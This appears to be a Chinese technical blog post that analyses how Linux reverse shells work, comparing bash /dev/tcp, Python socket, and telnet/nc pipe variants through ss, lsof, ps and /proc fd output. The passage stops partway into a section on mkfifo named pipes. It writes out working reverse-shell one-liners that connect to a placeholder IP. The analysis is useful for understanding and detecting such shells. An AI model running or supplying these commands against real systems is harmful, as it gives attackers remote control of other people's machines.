说明
前面已经有两篇文章介绍了有关反弹shell的内容,使用Java反弹shell和绕过exec获取反弹shell。之前的文章主要聚焦如何使用java来反弹shell。网上的各种文章也是将各种反弹shell的一句话的写法。但是鲜有文章分析不同反弹shell的方式之间的差异性,以及反弹shell之间的进程关联。
初识
BASH
还是以最为简单的反弹shell为例来说明情况:
bash -i >& /dev/tcp/ip/port 0>&1
在本例中,我使用8888端口反弹shell
我们使用ss和lsof查询信息:
ss -anptw | grep 8888
tcp ESTAB 0 0 172.16.1.2:56862 ip:8888 users:(("bash",pid=13662,fd=2),("bash",pid=13662,fd=1),("bash",pid=13662,fd=0))
lsof -i:8888
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 13662 username 0u IPv4 518699 0t0 TCP dev:56862->ip:8888 (ESTABLISHED)
bash 13662 username 1u IPv4 518699 0t0 TCP dev:56862->ip:8888 (ESTABLISHED)
bash 13662 username 2u IPv4 518699 0t0 TCP dev:56862->ip:8888 (ESTABLISHED)
通过分析,确实与ip:8888建立了网络链接,并且文件描述符0/1/2均建立了网络链接。分析下其中的进程关系
ps -ef | grep 13662
username 13662 13645 0 16:56 pts/7 00:00:00 bash -i
username 13645 13332 0 16:55 pts/7 00:00:00 /bin/bash
username 13662 13645 0 16:56 pts/7 00:00:00 bash -i
当前网络链接的进程的PID是13662,进程是bash -i。而父进程是13645,是/bin/bash进程。
Python
以Python为例继续分析:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用Python反弹shell的原理和上面bash -i >& /dev/tcp/ip/port 0>&1相同,只不过外面使用了Python封装了一下。查看信息:
ss -anptw | grep 8888
tcp ESTAB 0 0 172.16.1.2:59690 IP:8888 users:(("sh",pid=19802,fd=3),("sh",pid=19802,fd=2),("sh",pid=19802,fd=1),("sh",pid=19802,fd=0),("python",pid=19801,fd=3),("python",pid=19801,fd=2),("python",pid=19801,fd=1),("python",pid=19801,fd=0))
lsof -i:8888
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
python 19801 username 0u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
python 19801 username 1u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
python 19801 username 2u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
python 19801 username 3u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh 19802 username 0u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh 19802 username 1u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh 19802 username 2u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
sh 19802 username 3u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)
真正进行网络通信的是进程是PID为19802的Sh进程,其父进程是19801进程。如下:
ps -ef | grep 19802
username 19802 19801 0 19:46 pts/7 00:00:00 /bin/sh -i
ps -ef | grep 19801
username 19801 19638 0 19:46 pts/7 00:00:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
username 19802 19801 0 19:46 pts/7 00:00:00 /bin/sh -i
所以使用Python反弹shell的原理其实就是使用Python开启了/bin/sh -i,利用/bin/sh -i完成反弹shell。
Telnet
telnet IP 8888 | /bin/bash | telnet IP 9999
当然上面的写法还可以换成nc IP 8888 | /bin/bash | nc IP 9999,本质上都是一样的。以nc IP 8888 | /bin/bash | nc IP 9999为例来进行说明:
这种方式需要在远程服务器上面监听8888和9999端口。分析其中的进程关系:
ss -anptw | grep 8888
tcp ESTAB 0 0 172.16.1.2:33562 IP:8888 users:(("nc",pid=21613,fd=3))
ss -anptw | grep 9999
tcp ESTAB 0 0 172.16.1.2:35876 IP:9999 users:(("nc",pid=21615,fd=3))
ps -ef | grep 15166
username 15166 7593 0 17:32 pts/10 00:00:00 zsh
username 21613 15166 0 20:18 pts/10 00:00:00 nc IP 8888
username 21614 15166 0 20:18 pts/10 00:00:00 /bin/bash
username 21615 15166 0 20:18 pts/10 00:00:00 nc IP 9999
可以看到/bin/bash和两个nc的父进程是相同的,都是zsh进程。
那么 这三个进程之间是如何进行通信的呢?我们来分别看三者之间的fd。
21614
ls -al /proc/21614/fd
dr-x------ 2 username username 0 Apr 10 20:19 .
dr-xr-xr-x 9 username username 0 Apr 10 20:19 ..
lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618298]'
l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618300]'
lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10
21613
ls -al /proc/21613/fd
dr-x------ 2 username username 0 Apr 10 20:19 .
dr-xr-xr-x 9 username username 0 Apr 10 20:19 ..
lrwx------ 1 username username 64 Apr 10 20:19 0 -> /dev/pts/10
l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618298]'
lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10
lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[617199]'
21615
ls -al /proc/21615/fd
dr-x------ 2 username username 0 Apr 10 20:19 .
dr-xr-xr-x 9 username username 0 Apr 10 20:19 ..
lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618300]'
lrwx------ 1 username username 64 Apr 10 20:19 1 -> /dev/pts/10
lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10
lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[619628]'
那么这三者之间的关系如下图所示:
这样在IP:8888中输出命令就能够在IP:9999中看到输出。
mkfifo
在介绍mkfifo之前,需要了解一些有关Linux中与管道相关的知识。管道是一种最基本的IPC机制,主要是用于进程间的通信,完成数据传递。管道常见的就是平时看到的pipe。pipe是一种匿名管道,匿名管道只能用于有亲系关系的进程间通信,即只能在父进程与子进程或兄弟进程间通信。而通过mkfifo创建的管道是有名管道,有名管道就是用于没有情缘关系之间的进程通信。
而通信方式又分为:单工通信、半双工通信、全双工通信。
单工通信:单工数据传输只支持数据在一个方向上传输,就和传呼机一样。例如信息只能由一方A传到另一方B,一旦确定传-输方和接受方之后,就不能改变了,只能是一方接受数据,另一方发发送数据。
半双工通信:数据传输指数据可以在一个信号载体的两个方向上传输,但是不能同时传输。在半双工模式下,双方都可以作为数据的发送放和接受方,但是在同一个时刻只能是一方向另一方发送数据。
全双工通信:通信双方都能在同一时刻进行发送和接收数据。这种模式就像电话一样,双方在听对方说话的同时自己也可以说话。
通过mkfifo创建的有名管道就是一个半双工的管道。例如:
mkfifo /tmp/f
ls -al /tmp/f
prw-r--r-- 1 username username 0 Apr 14 15:30 /tmp/f
通过